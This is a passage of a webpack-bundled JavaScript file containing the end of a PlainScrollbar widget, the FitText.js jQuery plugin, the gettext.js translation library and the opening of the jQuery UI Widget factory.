		// Determine current (but soon replaced) scrollable state (isScrollableBefore).
		// If scrollable state changed, apply scrollbarElement data-scrollable attribute and execute the onScrollable
		// callback if applicable.

		var dataScrollable = scrollbarElement.getAttribute('data-scrollable'),
			isScrollableBefore = null;

		if ('true' === dataScrollable) {
			isScrollableBefore = true;
		} else if ('false' === dataScrollable) {
			isScrollableBefore = false;
		}

		if (isScrollableBefore !== isScrollable) {
			// Apply scrollbarElement data-scrollable attribute.
			scrollbarElement.setAttribute('data-scrollable', isScrollable);

			if (executeCallback) {
				// Execute the onScrollable callback and provide a scrollable change event object.
				if ('function' === typeof configuration.onScrollable) {
					configuration.onScrollable({
						orientation: configuration.orientation,
						before: isScrollableBefore,
						current: isScrollable
					});
				}
			}
		}

		// Execute the onSet callback if applicable.
		if (executeCallback) {
			// Execute the onSet callback and provide the configuration.numberOfItems as event object.
			if ('function' === typeof configuration.onSet) {
				configuration.onSet({
					start: configuration.numberOfItems.start,
					total: configuration.numberOfItems.total,
					visible: configuration.numberOfItems.visible
				});
			}
		}

		return true;
	}

	/**
	 * Calculate a data object by a (numberOfItems) start value that can be used for calling setScrollbar.
	 * @param {string|number} start
	 * @returns {{source: string, type: string, value: number}}
	 */
	function calculateDataFromStart(start) {

		start = parseFloat(start);

		var maxStart = configuration.numberOfItems.total - configuration.numberOfItems.visible,
			minStart = 0;

		if (start < minStart) {
			// TODO ?: Warn about inconsistency.
			start = minStart;
		}
		if (start > maxStart) {
			// TODO ?: Warn about inconsistency.
			start = maxStart;
		}

		var data = {
			source: 'start',
			type: '',
			value: 0
		};

		if ('horizontal' === configuration.orientation) {
			data.type = 'x';
		} else if ('vertical' === configuration.orientation) {
			data.type = 'y';
		}

		if (configuration.numberOfItems.total ===  0) {
			return data;
		}

		var sliderAreaSize = sliderAreaElement.getBoundingClientRect()[maxAttribute],
			itemSize = sliderAreaSize / configuration.numberOfItems.total,
			sliderSize = Math.max(configuration.sliderMinSize, configuration.numberOfItems.visible * itemSize),
			maxValue = Math.max(0, sliderAreaSize - sliderSize);

		// Formula: start / value = (total - visible) / (sliderAreaSize - sliderSize)

		data.value = (maxValue === 0)
			? 0
			: maxValue / (configuration.numberOfItems.total - configuration.numberOfItems.visible) * start;

		return data;
	}

	/**
	 * Calculate a data object by an event object that can be used for calling setScrollbar.
	 * @param {object} event
	 * @returns {{source: string, type: string, value: number}}
	 */
	function calculateDataFromEvent(event) {
		var data = {
			source: 'event',
			type: '',
			value: 0
		};

		switch (event.type) {
			case 'mousedown':
			case 'mousemove':
			case 'mouseup':
				if ('horizontal' === configuration.orientation) {
					data.type = 'x';
					data.value = event.pageX - sliderAreaElement.getBoundingClientRect()[valueAttribute];
				} else if ('vertical' === configuration.orientation) {
					data.type = 'y';
					data.value = event.pageY - sliderAreaElement.getBoundingClientRect()[valueAttribute];
				}
				break;

			case 'wheel':
				data.type = 'delta';

				if ('horizontal' === configuration.orientation) {
					data.value = (0 < event.deltaX) ? 1 : -1;
				} else if ('vertical' === configuration.orientation) {
					data.value = (0 < event.deltaY) ? 1 : -1;
				}

				data.value *= configuration.wheelSpeed;
				break;

			default:
				data.source = '';
		}

		return data;
	}

	/** scrollbarElement event listener */

	/**
	 * Handle scrollbar mouseenter event if scrollbar is enabled.
	 * @param {object} event
	 */
	function scrollbarMouseEnter(event) {
		if (!isEnabled) {
			return;
		}

		event.preventDefault();
		scrollbarElement.setAttribute('data-visible', true);
	}

	/**
	 * Handle scrollbar mouseleave event if scrollbar is enabled.
	 * @param {object} event
	 */
	function scrollbarMouseLeave(event) {
		if (!isEnabled) {
			return;
		}

		event.preventDefault();
		if (!isSliderDrag && !configuration.alwaysVisible) {
			scrollbarElement.setAttribute('data-visible', false);
		}
	}

	/** sliderAreaElement event listener */

	/**
	 * Handle slider area mousedown event if scrollbar is enabled and it's not a slider drag operation.
	 * @param {object} event
	 */
	function sliderAreaMouseDown(event) {
		if (!isEnabled || isSliderDrag) {
			return;
		}

		event.preventDefault();
		if (configuration.movePageByPageOnAreaClick) {
			var start = configuration.numberOfItems.start,
				visible = configuration.numberOfItems.visible,
				currentValue = parseFloat(sliderElement.style[valueAttribute]),
				value = currentValue;

			switch (configuration.orientation) {
				case 'horizontal':
					value = event.offsetX;
					break;

				case 'vertical':
					value = event.offsetY;
					break;
			}

			if (value < currentValue) {
				start -= visible;
			}
			if (value > currentValue) {
				start += visible;
			}

			setScrollbar(calculateDataFromStart(start), false);
		} else {
			setScrollbar(calculateDataFromEvent(event), false);
		}
	}

	/**
	 * Handle slider area mouseup event if it's a slider drag operation.
	 * @param {object} event
	 */
	function sliderAreaMouseUp(event) {
		if (!isSliderDrag) {
			return;
		}

		event.preventDefault();
		if (isEnabled) {
			setScrollbar(calculateDataFromEvent(event), false);
		}
		isSliderDrag = false;
	}

	/**
	 * Handle slider area wheel event if scrollbar is enabled and if it's not a slider drag operation.
	 * @param {object} event
	 */
	function sliderAreaWheel(event) {
		if (!isEnabled || isSliderDrag) {
			return;
		}

		event.preventDefault();
		clearTimeout(eventTimeout);
		isWheel = true;
		setScrollbar(calculateDataFromEvent(event), false);
		isWheel = false; //< TODO ?: Use timeout.
	}

	/** sliderElement event listener */

	/**
	 * Handle slider mousedown event if scrollbar is enabled.
	 * @param {object} event
	 */
	function sliderMouseDown(event) {
		if (!isEnabled) {
			return;
		}

		event.preventDefault();
		clearTimeout(eventTimeout);
		isSliderDrag = true;
		sliderOffset = 0;
		if ('horizontal' === configuration.orientation) {
			sliderOffset = event.offsetX;
		} else if ('vertical' === configuration.orientation) {
			sliderOffset = event.offsetY;
		}
	}

	/** window event listener */

	/**
	 * Handle window mousemove event if scrollbar is enabled and it's a slider drag operation.
	 * @param {object} event
	 */
	function windowMouseMove(event) {
		if (!isEnabled || !isSliderDrag) {
			return;
		}

		clearTimeout(eventTimeout);
		eventTimeout = setTimeout(function () {
			setScrollbar(calculateDataFromEvent(event), false);
		}, 1);
	}

	/**
	 * Handle window mouseup event if it's a slider drag operation.
	 * @param {object} event
	 */
	function windowMouseUp(event) {
		if (!isSliderDrag) {
			return;
		}

		clearTimeout(eventTimeout);
		if (!configuration.alwaysVisible) {
			scrollbarElement.setAttribute('data-visible', false);
		}
		if (isEnabled) {
			setScrollbar(calculateDataFromEvent(event), false);
		}
		isSliderDrag = false;
	}

	/** arrowElement event listener */

	/**
	 * Handle arrow (backward) click event if scrollbar is enabled.
	 * @param {object} event
	 */
	function arrowClickBackward(event) {
		if (!isEnabled) {
			return;
		}

		event.preventDefault();
		var start = configuration.numberOfItems.start - 1;
		setScrollbar(calculateDataFromStart(start), false);
	}

	/**
	 * Handle arrow (forward) click event if scrollbar is enabled.
	 * @param {object} event
	 */
	function arrowClickForward(event) {
		if (!isEnabled) {
			return;
		}

		event.preventDefault();
		var start = configuration.numberOfItems.start + 1;
		setScrollbar(calculateDataFromStart(start), false);
	}

	/** Public functions */

	/**
	 * Set the alwaysVisible state.
	 * @param {boolean} alwaysVisible Will be evaluated as boolean.
	 */
	this.alwaysVisible = function (alwaysVisible) {
		configuration.alwaysVisible = Boolean(alwaysVisible);
		scrollbarElement.setAttribute('data-visible', configuration.alwaysVisible);
	};

	/**
	 * Set the enabled state.
	 * @param {boolean} enabled Will be evaluated as boolean.
	 */
	this.enabled = function (enabled) {
		isEnabled = Boolean(enabled);
		scrollbarElement.setAttribute('data-enabled', isEnabled);
	};

	/**
	 * Return the enabled state.
	 * @returns {boolean}
	 */
	this.isEnabled = function () {
		return isEnabled;
	};

	/**
	 * Return the scrollable state.
	 * @returns {boolean}
	 */
	this.isScrollable = function () {
		return isScrollable;
	};

	/**
	 * Set the scrollbar. This includes adjusting the slider and executing the onSet callback (if not prevented).
	 * @param {object|string} mixed An event or numberOfItems object or a string that is evaluated as start number.
	 * @param {boolean} [preventCallbackExecution=false] True prevents the execution of the callback.
	 * @returns {boolean}
	 */
	this.set = function (mixed, preventCallbackExecution) {

		if (isSliderDrag || isWheel) {
			// Ignore external calls if currently an internal event source is processed.
			return false;
		}

		if (!isEnabled) {
			// Prevent callback execution but adjust the scrollbar.
			preventCallbackExecution = true;
		}

		// Determine if data can be calculated by object (event | numberOfItems) or can be evaluated as string (start).
		var data = null;

		switch (typeof mixed) {
			case 'object':
				// Test if mixed can be evaluated as an event object.
				data = calculateDataFromEvent(mixed);
				if ('event' === data.source) {
					return setScrollbar(data, preventCallbackExecution);
				}

				// Test if mixed can be evaluated as a numberOfItems object.
				if (mixed.hasOwnProperty('start') && !isNaN(mixed.start)
					&& mixed.hasOwnProperty('total') && !isNaN(mixed.total)
					&& mixed.hasOwnProperty('visible') && !isNaN(mixed.visible)) {

					configuration.numberOfItems = extend(configuration.numberOfItems, {
						start: mixed.start,
						total: mixed.total,
						visible: mixed.visible
					});
					data = calculateDataFromStart(configuration.numberOfItems.start);
					return setScrollbar(data, preventCallbackExecution);
				}
				break;

			case 'string':
				// Test if mixed can be evaluated as a start value.
				data = calculateDataFromStart(mixed);
				if ('start' === data.source) {
					return setScrollbar(data, preventCallbackExecution);
				}
				break;
		}

		return false;
	};

	/**
	 * Init the scrollbar.
	 */

	// Validate configuration

	if (!customConfiguration) {
		throw 'Missing customConfiguration!';
	}
	if (!customConfiguration.hasOwnProperty('scrollbarElement')
		|| !customConfiguration.scrollbarElement
		|| customConfiguration.scrollbarElement.hasOwnProperty('nodeName')) { //< TODO
		throw 'Missing valid configuration.scrollbarElement!';
	}
	if (!customConfiguration.hasOwnProperty('orientation')
		|| orientations.indexOf(customConfiguration.orientation) === -1) {
		throw 'Missing valid configuration.orientation!';
	}

	// Proceed to create the scrollbar...

	configuration = extend(defaultConfiguration, customConfiguration);
	scrollbarElement = configuration.scrollbarElement;
	scrollbarElementDocument = scrollbarElement.ownerDocument;

	var cssClasses = [
		'plain-scrollbar',
		'scrollbar-' + configuration.orientation
	];

	if ('horizontal' === configuration.orientation) {
		maxAttribute = 'width';
		valueAttribute = 'left';
	} else if ('vertical' === configuration.orientation) {
		maxAttribute = 'height';
		valueAttribute = 'top';
	}

	isEnabled = Boolean(configuration.enabled);

	scrollbarElement.setAttribute('data-enabled', isEnabled);
	scrollbarElement.setAttribute('data-scrollable', isScrollable);
	scrollbarElement.setAttribute('data-visible', Boolean(configuration.alwaysVisible));

	cssClasses.forEach(function (cssClass) {
		scrollbarElement.classList.add(cssClass);
	});

	// Create arrowElements if applicable.

	if (configuration.arrows) {
		scrollbarElement.classList.add('has-arrows');
		arrowElements = {
			'backward': scrollbarElementDocument.createElement('div'),
			'forward': scrollbarElementDocument.createElement('div')
		};

		Object.getOwnPropertyNames(arrowElements).forEach(function (name) {
			var cssClass = 'arrow-',
				eventListener = function () {
				};

			switch (name) {
				case 'backward':
					if ('horizontal' === configuration.orientation) {
						cssClass += 'left';
					} else if ('vertical' === configuration.orientation) {
						cssClass += 'up';
					}
					eventListener = arrowClickBackward;
					break;

				case 'forward':
					if ('horizontal' === configuration.orientation) {
						cssClass += 'right';
					} else if ('vertical' === configuration.orientation) {
						cssClass += 'down';
					}
					eventListener = arrowClickForward;
					break;

				default:
					cssClass += 'undefined';
			}

			var arrowElement = arrowElements[name];
			arrowElement.classList.add(cssClass);
			arrowElement.appendChild(scrollbarElementDocument.createElement('span'));
			arrowElement.addEventListener('mousedown', eventListener, false);
			scrollbarElement.appendChild(arrowElement);
		});
	}

	// Create SliderElement, sliderAreaElement, add scrollbarElementWindow event listener and set the scrollbar.

	sliderElement = scrollbarElementDocument.createElement('div');
	sliderElement.classList.add('slider');
	sliderElement.style[valueAttribute] = '0';
	sliderElement.style[maxAttribute] = '0';
	sliderElement.addEventListener('mousedown', sliderMouseDown, false);

	sliderAreaElement = scrollbarElementDocument.createElement('div');
	sliderAreaElement.classList.add('slider-area');
	sliderAreaElement.appendChild(sliderElement);
	sliderAreaElement.addEventListener('mousedown', sliderAreaMouseDown, false);
	sliderAreaElement.addEventListener('mouseup', sliderAreaMouseUp, false);
	sliderAreaElement.addEventListener('wheel', sliderAreaWheel, false);

	scrollbarElement.appendChild(sliderAreaElement);
	scrollbarElement.addEventListener('mouseenter', scrollbarMouseEnter, false);
	scrollbarElement.addEventListener('mouseleave', scrollbarMouseLeave, false);

	scrollbarElementWindow = scrollbarElementDocument.defaultView;
	scrollbarElementWindow.addEventListener('mousemove', windowMouseMove, false);
	scrollbarElementWindow.addEventListener('mouseup', windowMouseUp, false);

	setScrollbar(calculateDataFromStart(configuration.numberOfItems.start), false);
}

/*** EXPORTS FROM exports-loader ***/
/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = (PlainScrollbar);


/***/ }),

/***/ 489:
/***/ (() => {

/*global jQuery */
/*!
* FitText.js 1.2
*
* Copyright 2011, Dave Rupert http://daverupert.com
* Released under the WTFPL license
* http://sam.zoy.org/wtfpl/
*
* Date: Thu May 05 14:23:00 2011 -0600
*/

(function( $ ){

  $.fn.fitText = function( kompressor, options ) {

    // Setup options
    var compressor = kompressor || 1,
        settings = $.extend({
          'minFontSize' : Number.NEGATIVE_INFINITY,
          'maxFontSize' : Number.POSITIVE_INFINITY
        }, options);

    return this.each(function(){

      // Store the object
      var $this = $(this);

      // Resizer() resizes items based on the object width divided by the compressor * 10
      var resizer = function () {
        $this.css('font-size', Math.max(Math.min($this.width() / (compressor*10), parseFloat(settings.maxFontSize)), parseFloat(settings.minFontSize)));
      };

      // Call once to set.
      resizer();

      // Call on resize. Opera debounces their resize by default.
      $(window).on('resize.fittext orientationchange.fittext', resizer);

    });

  };

})( jQuery );


/***/ }),

/***/ 508:
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {

"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   "default": () => (__WEBPACK_DEFAULT_EXPORT__)
/* harmony export */ });
/*! gettext.js - Guillaume Potier - MIT Licensed */
var i18n = function (options) {
 options = options || {};
 this && (this.__version = '1.1.1');

 // default values that could be overriden in i18n() construct
 var defaults = {
   domain: 'messages',
   locale: (typeof document !== 'undefined' ? document.documentElement.getAttribute('lang') : false) || 'en',
   plural_func: function (n) { return { nplurals: 2, plural: (n!=1) ? 1 : 0 }; },
   ctxt_delimiter: String.fromCharCode(4) // \u0004
 };

 // handy mixins taken from underscode.js
 var _ = {
   isObject: function (obj) {
     var type = typeof obj;
     return type === 'function' || type === 'object' && !!obj;
   },
   isArray: function (obj) {
     return toString.call(obj) === '[object Array]';
   }
 };

 var
   _plural_funcs = {},
   _locale = options.locale || defaults.locale,
   _domain = options.domain || defaults.domain,
   _dictionary = {},
   _plural_forms = {},
   _ctxt_delimiter = options.ctxt_delimiter || defaults.ctxt_delimiter;

   if (options.messages) {
     _dictionary[_domain] = {};
     _dictionary[_domain][_locale] = options.messages;
   }

   if (options.plural_forms) {
     _plural_forms[_locale] = options.plural_forms;
   }

   // sprintf equivalent, takes a string and some arguments to make a computed string
   // eg: strfmt("%1 dogs are in %2", 7, "the kitchen"); => "7 dogs are in the kitchen"
   // eg: strfmt("I like %1, bananas and %1", "apples"); => "I like apples, bananas and apples"
   // NB: removes msg context if there is one present
   var strfmt = function (fmt) {
      var args = arguments;

      return fmt
       // put space after double % to prevent placeholder replacement of such matches
       .replace(/%%/g, '%% ')
       // replace placeholders
       .replace(/%(\d+)/g, function (str, p1) {
         return args[p1];
       })
       // replace double % and space with single %
       .replace(/%% /g, '%')
   };

   var removeContext = function(str) {
      // if there is context, remove it
      if (str.indexOf(_ctxt_delimiter) !== -1) {
        var parts = str.split(_ctxt_delimiter);
        return parts[1];
      }

    return str;
   };

   var expand_locale = function(locale) {
       var locales = [locale],
           i = locale.lastIndexOf('-');
       while (i > 0) {
           locale = locale.slice(0, i);
           locales.push(locale);
           i = locale.lastIndexOf('-');
       }
       return locales;
   };

   var normalizeLocale = function (locale) {
      // Convert locale to BCP 47. If the locale is in POSIX format, locale variant and encoding is discarded.
      locale = locale.replace('_', '-');
      var i = locale.search(/[.@]/);
      if (i != -1) locale = locale.slice(0, i);
      return locale;
   };

   var getPluralFunc = function (plural_form) {
     // Plural form string regexp
     // taken from https://github.com/Orange-OpenSource/gettext.js/blob/master/lib.gettext.js
     // plural forms list available here http://localization-guide.readthedocs.org/en/latest/l10n/pluralforms.html
     var pf_re = new RegExp('^\\s*nplurals\\s*=\\s*[0-9]+\\s*;\\s*plural\\s*=\\s*(?:\\s|[-\\?\\|&=!<>+*/%:;n0-9_\(\)])+');

     if (!pf_re.test(plural_form))
       throw new Error(strfmt('The plural form "%1" is not valid', plural_form));

     // Careful here, this is a hidden eval() equivalent..
     // Risk should be reasonable though since we test the plural_form through regex before
     // taken from https://github.com/Orange-OpenSource/gettext.js/blob/master/lib.gettext.js
     // TODO: should test if https://github.com/soney/jsep present and use it if so
     return new Function("n", 'var plural, nplurals; '+ plural_form +' return { nplurals: nplurals, plural: (plural === true ? 1 : (plural ? plural : 0)) };');
   };

   // Proper translation function that handle plurals and directives
   // Contains juicy parts of https://github.com/Orange-OpenSource/gettext.js/blob/master/lib.gettext.js
   var t = function (messages, n, options /* ,extra */) {
     // Singular is very easy, just pass dictionnary message through strfmt
     if (!options.plural_form)
      return strfmt.apply(this, [removeContext(messages[0])].concat(Array.prototype.slice.call(arguments, 3)));

     var plural;

     // if a plural func is given, use that one
     if (options.plural_func) {
       plural = options.plural_func(n);

     // if plural form never interpreted before, do it now and store it
     } else if (!_plural_funcs[_locale]) {
       _plural_funcs[_locale] = getPluralFunc(_plural_forms[_locale]);
       plural = _plural_funcs[_locale](n);

     // we have the plural function, compute the plural result
     } else {
       plural = _plural_funcs[_locale](n);
     }

     // If there is a problem with plurals, fallback to singular one
     if ('undefined' === typeof plural.plural || plural.plural > plural.nplurals || messages.length <= plural.plural)
       plural.plural = 0;

     return strfmt.apply(this, [removeContext(messages[plural.plural]), n].concat(Array.prototype.slice.call(arguments, 3)));
   };

 return {
   strfmt: strfmt, // expose strfmt util
   expand_locale: expand_locale, // expose expand_locale util

   // Declare shortcuts
   __: function () { return this.gettext.apply(this, arguments); },
   _n: function () { return this.ngettext.apply(this, arguments); },
   _p: function () { return this.pgettext.apply(this, arguments); },

   setMessages: function (domain, locale, messages, plural_forms) {
     if (!domain || !locale || !messages)
       throw new Error('You must provide a domain, a locale and messages');

     if ('string' !== typeof domain || 'string' !== typeof locale || !_.isObject(messages))
       throw new Error('Invalid arguments');

     locale = normalizeLocale(locale);

     if (plural_forms)
       _plural_forms[locale] = plural_forms;

     if (!_dictionary[domain])
       _dictionary[domain] = {};

     _dictionary[domain][locale] = messages;

     return this;
   },
   loadJSON: function (jsonData, domain) {
     if (!_.isObject(jsonData))
       jsonData = JSON.parse(jsonData);

     if (!jsonData[''] || !jsonData['']['language'] || !jsonData['']['plural-forms'])
       throw new Error('Wrong JSON, it must have an empty key ("") with "language" and "plural-forms" information');

     var headers = jsonData[''];
     delete jsonData[''];

     return this.setMessages(domain || defaults.domain, headers['language'], jsonData, headers['plural-forms']);
   },
   setLocale: function (locale) {
     _locale = normalizeLocale(locale);
     return this;
   },
   getLocale: function () {
     return _locale;
   },
   // getter/setter for domain
   textdomain: function (domain) {
     if (!domain)
       return _domain;
     _domain = domain;
     return this;
   },
   gettext: function (msgid /* , extra */) {
     return this.dcnpgettext.apply(this, [undefined, undefined, msgid, undefined, undefined].concat(Array.prototype.slice.call(arguments, 1)));
   },
   ngettext: function (msgid, msgid_plural, n /* , extra */) {
     return this.dcnpgettext.apply(this, [undefined, undefined, msgid, msgid_plural, n].concat(Array.prototype.slice.call(arguments, 3)));
   },
   pgettext: function (msgctxt, msgid /* , extra */) {
     return this.dcnpgettext.apply(this, [undefined, msgctxt, msgid, undefined, undefined].concat(Array.prototype.slice.call(arguments, 2)));
   },
   dcnpgettext: function (domain, msgctxt, msgid, msgid_plural, n /* , extra */) {
     domain = domain || _domain;

     if ('string' !== typeof msgid)
       throw new Error(this.strfmt('Msgid "%1" is not a valid translatable string', msgid));

     var
       translation,
       options = { plural_form: false },
       key = msgctxt ? msgctxt + _ctxt_delimiter + msgid : msgid,
       exist,
       locale,
       locales = expand_locale(_locale);

     for (var i in locales) {
        locale = locales[i];
        exist = _dictionary[domain] && _dictionary[domain][locale] && _dictionary[domain][locale][key];

        // because it's not possible to define both a singular and a plural form of the same msgid,
        // we need to check that the stored form is the same as the expected one.
        // if not, we'll just ignore the translation and consider it as not translated.
        if (msgid_plural) {
          exist = exist && "string" !== typeof _dictionary[domain][locale][key];
        } else {
          exist = exist && "string" === typeof _dictionary[domain][locale][key];
        }
        if (exist) {
          break;
        }
     }

     if (!exist) {
       translation = msgid;
       options.plural_func = defaults.plural_func;
     } else {
       translation = _dictionary[domain][locale][key];
     }

     // Singular form
     if (!msgid_plural)
       return t.apply(this, [[translation], n, options].concat(Array.prototype.slice.call(arguments, 5)));

     // Plural one
     options.plural_form = true;
     return t.apply(this, [exist ? translation : [msgid, msgid_plural], n, options].concat(Array.prototype.slice.call(arguments, 5)));
   }
 };
};

/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = (i18n);


/***/ }),

/***/ 500:
/***/ ((module, exports, __webpack_require__) => {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;( function( factory ) {
	"use strict";

	if ( true ) {

		// AMD. Register as an anonymous module.
		!(__WEBPACK_AMD_DEFINE_ARRAY__ = [ __webpack_require__(486) ], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
	} else {}
} )( function( $ ) {
"use strict";

$.ui = $.ui || {};

return $.ui.version = "1.13.2";

} );


/***/ }),

/***/ 499:
/***/ ((module, exports, __webpack_require__) => {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
 * jQuery UI Widget 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */

//>>label: Widget
//>>group: Core
//>>description: Provides a factory for creating stateful widgets with a common API.
//>>docs: http://api.jqueryui.com/jQuery.widget/
//>>demos: http://jqueryui.com/widget/

( function( factory ) {
	"use strict";

	if ( true ) {

		// AMD. Register as an anonymous module.
		!(__WEBPACK_AMD_DEFINE_ARRAY__ = [ __webpack_require__(486), __webpack_require__(500) ], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
	} else {}
} )( function( $ ) {
"use strict";

var widgetUuid = 0;
var widgetHasOwnProperty = Array.prototype.hasOwnProperty;
var widgetSlice = Array.prototype.slice;

$.cleanData = ( function( orig ) {
	return function( elems ) {
		var events, elem, i;
		for ( i = 0; ( elem = elems[ i ] ) != null; i++ ) {

			// Only trigger remove when necessary to save time
			events = $._data( elem, "events" );
			if ( events && events.remove ) {
				$( elem ).triggerHandler( "remove" );
			}
		}
		orig( elems );
	};
} )( $.cleanData );

$.widget = function( name, base, prototype ) {
	var existingConstructor, constructor, basePrototype;

	// ProxiedPrototype allows the provided prototype to remain unmodified
	// so that it can be used as a mixin for multiple widgets (#8876)
	var proxiedPrototype = {};

	var namespace = name.split( "." )[ 0 ];
	name = name.split( "." )[ 1 ];
	var fullName = namespace + "-" + name;

	if ( !prototype ) {
		prototype = base;
		base = $.Widget;
	}

	if ( Array.isArray( prototype ) ) {
		prototype = $.extend.apply( null, [ {} ].concat( prototype ) );
	}

	// Create selector for plugin
	$.expr.pseudos[ fullName.toLowerCase() ] = function( elem ) {
		return !!$.data( elem, fullName );
	};

	$[ namespace ] = $[ namespace ] || {};
	existingConstructor = $[ namespace ][ name ];
	constructor = $[ namespace ][ name ] = function( options, element ) {

		// Allow instantiation without "new" keyword
		if ( !this || !this._createWidget ) {
			return new constructor( options, element );
		}

		// Allow instantiation without initializing for simple inheritance
		// must use "new" keyword (the code above always passes args)
		if ( arguments.length ) {
			this._createWidget( options, element );
		}
	};

	// Extend with the existing constructor to carry over any static properties
	$.extend( constructor, existingConstructor, {
		version: prototype.version,

		// Copy the object used to create the prototype in case we need to
		// redefine the widget later
		_proto: $.extend( {}, prototype ),

		// Track widgets that inherit from this widget in case this widget is
		// redefined after a widget inherits from it
		_childConstructors: []
	} );

	basePrototype = new base();

	// We need to make the options hash a property directly on the new instance
	// otherwise we'll modify the options hash on the prototype that we're
	// inheriting from
	basePrototype.options = $.widget.extend( {}, basePrototype.options );
	$.each( prototype, function( prop, value ) {
		if ( typeof value !== "function" ) {
			proxiedPrototype[ prop ] = value;
			return;
		}
		proxiedPrototype[ prop ] = ( function() {
			function _super() {
				return base.prototype[ prop ].apply( this, arguments );
			}

			function _superApply( args ) {
				return base.prototype[ prop ].apply( this, args );
			}

			return function() {
				var __super = this._super;
				var __superApply = this._superApply;
				var returnValue;

				this._super = _super;
				this._superApply = _superApply;

				returnValue = value.apply( this, arguments );

				this._super = __super;
				this._superApply = __superApply;

				return returnValue;
			};
		} )();
	} );
	constructor.prototype = $.widget.extend( basePrototype, {

		// TODO: remove support for widgetEventPrefix
		// always use the name + a colon as the prefix, e.g., draggable:start
		// don't prefix for widgets that aren't DOM-based
		widgetEventPrefix: existingConstructor ? ( basePrototype.widgetEventPrefix || name ) : name
	}, proxiedPrototype, {
		constructor: constructor,
		namespace: namespace,
		widgetName: name,
		widgetFullName: fullName
	} );

	// If this widget is being redefined then we need to find all widgets that
	// are inheriting from it and redefine all of them so that they inherit from
	// the new version of this widget. We're essentially trying to replace one
	// level in the prototype chain.
	if ( existingConstructor ) {
		$.each( existingConstructor._childConstructors, function( i, child ) {
			var childPrototype = child.prototype;

			// Redefine the child widget using the same prototype that was
			// originally used, but inherit from the new version of the base
			$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor,
				child._proto );
		} );

		// Remove the list of existing child constructors from the old constructor
		// so the old child constructors can be garbage collected
		delete existingConstructor._childConstructors;
	} else {
		base._childConstructors.push( constructor );
	}

	$.widget.bridge( name, constructor );

	return constructor;
};

$.widget.extend = function( target ) {
	var input = widgetSlice.call( arguments, 1 );
	var inputIndex = 0;
	var inputLength = input.length;
	var key;
	var value;

	for ( ; inputIndex < inputLength; inputIndex++ ) {
		for ( key in input[ inputIndex ] ) {
			value = input[ inputIndex ][ key ];
			if ( widgetHasOwnProperty.call( input[ inputIndex ], key ) && value !== undefined ) {

				// Clone objects
				if ( $.isPlainObject( value ) ) {
					target[ key ] = $.isPlainObject( target[ key ] ) ?
						$.widget.extend( {}, target[ key ], value ) :

						// Don't extend strings, arrays, etc. with objects
						$.widget.extend( {}, value );

				// Copy everything else by reference
				} else {
					target[ key ] = value;
				}
			}
		}
	}
	return target;
};

$.widget.bridge = function( name, object ) {
	var fullName = object.prototype.widgetFullName || name;
	$.fn[ name ] = function( options ) {
		var isMethodCall = typeof options === "string";
		var args = widgetSlice.call( arguments, 1 );
		var returnValue = this;

		if ( isMethodCall ) {

			// If this is an empty collection, we need to have the instance method
			// return undefined instead of the jQuery instance
			if ( !this.length && options === "instance" ) {
				returnValue = undefined;
			} else {
				this.each( function() {
					var methodValue;
					var instance = $.data( this, fullName );

					if ( options === "instance" ) {
						returnValue = instance;
						return false;
					}

					if ( !instance ) {
						return $.error( "cannot call methods on " + name +
							" prior to initialization; " +
							"attempted to call method '" + options + "'" );
					}

					if ( typeof instance[ options ] !== "function" ||
						options.charAt( 0 ) === "_" ) {
						return $.error( "no such method '" + options + "' for " + name +
							" widget instance" );
					}

					methodValue = instance[ options ].apply( instance, args );

					if ( methodValue !== instance && methodValue !== undefined ) {
						returnValue = methodValue && methodValue.jquery ?
							returnValue.pushStack( methodValue.get() ) :
							methodValue;
						return false;
					}
				} );
			}
		} else {

			// Allow multiple hashes to be passed on init
			if ( args.length ) {
				options = $.widget.extend.apply( null, [ options ].concat( args ) );
			}

			this.each( function() {
				var instance = $.data( this, fullName );
				if ( instance ) {
					instance.option( options || {} );
					if ( instance._init ) {
						instance._init();
					}
				} else {
					$.data( this, fullName, new object( options, this ) );
				}
			} );
		}

		return returnValue;
	};
};

$.Widget = function( /* options, element */ ) {};
$.Widget._childConstructors = [];

$.Widget.prototype = {
	widgetName: "widget",
	widgetEventPrefix: "",
	defaultElement: "<div>",

	options: {
		classes: {},
		disabled: false,

		// Callbacks
		create: null
	},

	_createWidget: function( options, element ) {
		element = $( element || this.defaultElement || this )[ 0 ];
		this.element = $( element );
		this.uuid = widgetUuid++;
		this.eventNamespace = "." + this.widgetName + this.uuid;

		this.bindings = $();
		this.hoverable = $();
		this.focusable = $();
		this.classesElementLookup = {};

		if ( element !== this ) {
			$.data( element, this.widgetFullName, this );
			this._on( true, this.element, {
				remove: function( event ) {
					if ( event.target === element ) {
						this.destroy();
					}
				}
			} );
			this.document = $( element.style ?

				// Element within the document
				element.ownerDocument :

				// Element is window or document
				element.document || element );
